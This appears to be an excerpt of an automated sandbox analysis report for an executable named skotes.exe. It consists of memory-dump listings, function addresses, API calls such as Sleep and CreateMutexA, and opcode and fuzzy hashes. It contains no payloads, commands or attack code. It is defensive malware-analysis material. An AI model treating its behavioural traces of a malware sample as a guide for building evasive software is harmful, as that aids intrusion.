Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 457e2736b55219dce51ba9c9c5fea4ce4a59201b47cda963f8a0f47458c0bf4d
Instruction ID: ce01dd7c2ccb0c5ca3eb3084e8809487f45db4fb1b39e7d421a1f5449e355e02
Opcode Fuzzy Hash: 457e2736b55219dce51ba9c9c5fea4ce4a59201b47cda963f8a0f47458c0bf4d
Instruction Fuzzy Hash: 85211D71A10119AFDF01EFA4DC859BEB7B9EF48710F20801AFA05B7251DB709D519BA1

Function 0029F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0029F3A3

Strings

8",, xrefs: 0029F44B
`',, xrefs: 0029F375

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8",$`',
API String ID: 3903695350-3341778876
Opcode ID: 065b363d81b4aa8750e0deafc781d607570a563e643fa87553aa7c59f76750de
Instruction ID: f2a262a16d700fbb62f9a488abce0d8a3d88fcddeca95aa38b8347de90daa4c8
Opcode Fuzzy Hash: 065b363d81b4aa8750e0deafc781d607570a563e643fa87553aa7c59f76750de
Instruction Fuzzy Hash: 87316732620302DFEFA0AE39DA45B5B73E8EF00352F10443AE449D6595DE74E8A08B65

Analysis Process: skotes.exePID: 180, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	607
Total number of Limit Nodes:	4

Executed Functions

Function 0029652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0029652A,?,?,?,?,?,00297661), ref: 00296567

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b83bf9a48c5cbcab2445d52c46a9e94ce1359132d39a5477f617e71fdbf7194c
Instruction ID: 3a00a6100b56137238bc0a865b2864ec5318a312317cb7392aee8b45a8a6e15e
Opcode Fuzzy Hash: b83bf9a48c5cbcab2445d52c46a9e94ce1359132d39a5477f617e71fdbf7194c
Instruction Fuzzy Hash: 95E08C30021208AECE257F58C80D9983BA9EB52749F910810F91846227CB25EDA1CA90

Function 00269BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: c86c0fd430559b4d3617f80ca748efdd8ca2639fc777e7c73112800c871961a0
Instruction ID: 8860574609acae88ceee8707eb4678599dce92b94e1ae4095d81933eb2185130
Opcode Fuzzy Hash: c86c0fd430559b4d3617f80ca748efdd8ca2639fc777e7c73112800c871961a0
Instruction Fuzzy Hash: 1F313B31625200CBFB08DB78DD89B5DB7BAEFC6314F248219E414A73D5CB7559E08B52

Function 00269F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: d2bb7752197fcca6e367247f3341ec1b9ff146acc454e668364ee36d00bb8413
Instruction ID: 229a2900cfa66260295de2c085afe39dec816e46e966dfca479e88b4bc6a7721
Opcode Fuzzy Hash: d2bb7752197fcca6e367247f3341ec1b9ff146acc454e668364ee36d00bb8413
Instruction Fuzzy Hash: 86312831620200CBEB18DB78D888BACB77AEFC5310F208619E418E76D5CB3659E08B52

Function 0026A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
